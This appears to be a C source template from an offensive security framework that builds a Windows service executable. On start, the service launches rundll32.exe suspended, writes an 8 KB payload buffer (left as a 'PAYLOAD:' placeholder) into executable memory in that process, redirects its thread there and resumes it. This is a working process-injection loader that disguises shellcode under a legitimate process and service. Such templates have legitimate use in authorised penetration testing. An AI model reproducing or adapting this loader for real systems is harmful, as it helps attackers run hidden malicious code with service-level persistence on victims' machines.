Path: blob/master/data/templates/src/pe/exe_service/template.c
21844 views
#define WIN32_LEAN_AND_MEAN1#include <windows.h>23#define SCSIZE 819245char cServiceName[32] = "SERVICENAME";67char bPayload[SCSIZE] = "PAYLOAD:";89SERVICE_STATUS ss;1011SERVICE_STATUS_HANDLE hStatus = NULL;1213#if BUILDMODE == 214/* hand-rolled bzero allows us to avoid including ms vc runtime */15void inline_bzero(void *p, size_t l)16{17BYTE *q = (BYTE *)p;18size_t x = 0;19for (x = 0; x < l; x++)20*(q++) = 0x00;21}2223#endif2425/*26*27*/28BOOL ServiceHandler( DWORD dwControl )29{30if( dwControl == SERVICE_CONTROL_STOP || dwControl == SERVICE_CONTROL_SHUTDOWN )31{32ss.dwWin32ExitCode = 0;33ss.dwCurrentState = SERVICE_STOPPED;34}35return SetServiceStatus( hStatus, &ss );36}3738/*39*40*/41VOID ServiceMain( DWORD dwNumServicesArgs, LPSTR * lpServiceArgVectors )42{43CONTEXT Context;44STARTUPINFO si;45PROCESS_INFORMATION pi;46LPVOID lpPayload = NULL;4748inline_bzero( &ss, sizeof(SERVICE_STATUS) );49inline_bzero( &si, sizeof(STARTUPINFO) );50inline_bzero( &pi, sizeof(PROCESS_INFORMATION) );5152si.cb = sizeof(STARTUPINFO);5354ss.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;5556ss.dwCurrentState = SERVICE_START_PENDING;5758ss.dwControlsAccepted = SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_SHUTDOWN;5960hStatus = RegisterServiceCtrlHandler( (LPCSTR)&cServiceName, (LPHANDLER_FUNCTION)ServiceHandler );6162if ( hStatus )63{64ss.dwCurrentState = SERVICE_RUNNING;6566SetServiceStatus( hStatus, &ss );6768if( CreateProcess( NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi ) )69{70Context.ContextFlags = CONTEXT_FULL;7172GetThreadContext( pi.hThread, &Context );7374lpPayload = VirtualAllocEx( pi.hProcess, NULL, SCSIZE, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE );75if( lpPayload )76{77WriteProcessMemory( pi.hProcess, lpPayload, &bPayload, SCSIZE, NULL );78#ifdef _WIN6479Context.Rip = (ULONG_PTR)lpPayload;80#else81Context.Eip = (ULONG_PTR)lpPayload;82#endif83SetThreadContext( pi.hThread, &Context );84}8586ResumeThread( pi.hThread );8788CloseHandle( pi.hThread );8990CloseHandle( pi.hProcess );91}9293ServiceHandler( SERVICE_CONTROL_STOP );9495ExitProcess( 0 );96}97}9899/*100*101*/102void main()103{104SERVICE_TABLE_ENTRY st[] =105{106{ (LPSTR)&cServiceName, (LPSERVICE_MAIN_FUNCTIONA)&ServiceMain },107{ NULL, NULL }108};109StartServiceCtrlDispatcher( (SERVICE_TABLE_ENTRY *)&st );110return;111}112113114